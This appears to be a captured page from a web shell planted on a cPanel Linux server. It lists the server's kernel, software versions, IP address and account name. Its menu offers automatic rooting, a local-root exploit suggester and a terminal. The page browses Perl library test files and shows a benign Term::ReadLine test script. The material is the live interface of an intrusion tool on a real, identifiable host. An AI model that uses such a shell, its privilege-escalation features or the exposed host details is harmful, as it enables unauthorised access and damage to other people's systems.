Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
Term-ReadLine /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
AE.t
1
KB
-r--r--r--
2014-12-27 11:48
AETk.t
1.22
KB
-r--r--r--
2014-12-27 11:48
ReadLine.t
743
B
-r--r--r--
2014-12-27 11:48
Tk.t
969
B
-r--r--r--
2014-12-27 11:48
Save
Rename
#!./perl -w use strict; package Term::ReadLine::Mock; our @ISA = 'Term::ReadLine::Stub'; sub ReadLine {'Term::ReadLine::Mock'}; sub readline { "a line" } sub new { bless {} } package main; use Test::More tests => 15; BEGIN { $ENV{PERL_RL} = 'Mock'; # test against our instrumented class use_ok('Term::ReadLine'); } my $t = new Term::ReadLine 'test term::readline'; ok($t, "made something"); isa_ok($t, 'Term::ReadLine::Mock'); for my $method (qw( ReadLine readline addhistory IN OUT MinLine findConsole Attribs Features new ) ) { can_ok($t, $method); } is($t->ReadLine, 'Term::ReadLine::Mock', "\$object->ReadLine"); is($t->readline, 'a line', "\$object->readline");